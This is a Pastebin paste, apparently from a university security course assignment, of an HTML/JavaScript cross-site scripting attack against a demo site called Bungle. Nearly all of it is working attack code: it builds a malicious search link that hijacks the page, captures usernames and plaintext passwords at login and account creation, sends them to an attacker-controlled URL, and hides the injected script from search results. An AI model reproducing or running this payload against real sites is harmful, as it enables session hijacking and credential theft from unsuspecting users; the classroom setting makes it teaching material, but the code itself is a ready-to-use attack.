Advertisement
Guest User

xss.html

a guest
Nov 28th, 2016
167
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 3.01 KB | None | 0 0
  1. <meta charset="utf-8">
  2. <script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
  3. <script>
  4. function payload(attacker) {
  5.     function log(data) {
  6.         console.log($.param(data))
  7.         $.get(attacker, data);
  8.     }
  9.     function proxy(href) {
  10.         var stateObj = { foo: href };
  11.         history.pushState(stateObj, "", href);
  12.         $("html").load(href, function(){
  13.             $("html").show();
  14.  
  15.             // Log nav
  16.             if ($('#logged-in-user').length) {
  17.                 var logged_in_user = $('#logged-in-user').html().toString();
  18.                 log({event: "nav", user: logged_in_user, url: href})
  19.             } else {
  20.                 log({event: "nav", url: href})
  21.             }
  22.  
  23.             // Log logout
  24.             $("#log-out-btn").click(function(e) {
  25.                 e.preventDefault();
  26.                 var logged_in_user = $('#logged-in-user').html().toString();
  27.                 $.post("http://cos432-assn3.cs.princeton.edu/logout",
  28.                     {},
  29.                     function() {
  30.                         log({event: "logout", user: logged_in_user});
  31.                         proxy("/");
  32.                     }
  33.                 );
  34.             });
  35.  
  36.             // Log login
  37.             $("#log-in-btn").click(function(e) {
  38.                 e.preventDefault();
  39.                 var user = $('#username').val();
  40.                 var pass = $('#userpass').val();
  41.                 $.post("http://cos432-assn3.cs.princeton.edu/login",
  42.                     {
  43.                         username: user,
  44.                         password: pass
  45.                     },
  46.                     function() {
  47.                         log({event: "login", user: user, pass: pass});
  48.                         proxy("/");
  49.                     }
  50.                 );
  51.             });
  52.  
  53.             // Log create account
  54.             $("#new-account-btn").click(function(e) {
  55.                 e.preventDefault();
  56.                 var user = $('#username').val();
  57.                 var pass = $('#userpass').val();
  58.                 $.post("http://cos432-assn3.cs.princeton.edu/create",
  59.                     {
  60.                         username: user,
  61.                         password: pass
  62.                     },
  63.                     function() {
  64.                         log({event: "create", user: user, pass: pass});
  65.                         proxy("/");
  66.                     }
  67.                 );
  68.             });
  69.  
  70.             // Navigate to search
  71.             $("#search-btn").click(function(e) {
  72.                 e.preventDefault();
  73.                 proxy("/search?q=" + $('#query').val());
  74.             });
  75.  
  76.             // Navigate to search again
  77.             $("#search-again-btn").click(function(e) {
  78.                 e.preventDefault();
  79.                 proxy("/");
  80.             });
  81.  
  82.             // Hide attacks in search
  83.             $("a:contains('<script>')").hide();
  84.         });
  85.     }
  86.     $("html").hide();
  87.     proxy("/");
  88. }
  89.  
  90. function makeLink(xssdefense, target, attacker) {
  91.     if (xssdefense == 0) {
  92.         return target + "/search?xssdefense=" + xssdefense.toString() + "&q=" +
  93.         encodeURIComponent("<script" + ">" + payload.toString() +
  94.             ";payload(\"" + attacker + "\");</script" + ">");
  95.     } else {
  96.     // Implement code to defeat XSS defenses here.
  97.     }
  98. }
  99.  
  100. var xssdefense = 0;
  101. var target = "http://cos432-assn3.cs.princeton.edu";
  102. var attacker = "http://127.0.0.1:31337/stolen";
  103. $(function() {
  104.     var url = makeLink(xssdefense, target, attacker);
  105.     $("h3").html("<a target=\"run\" href=\"" + url + "\">Try Bungle!</a>");
  106. });
  107. </script>
  108. <h3></h3>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement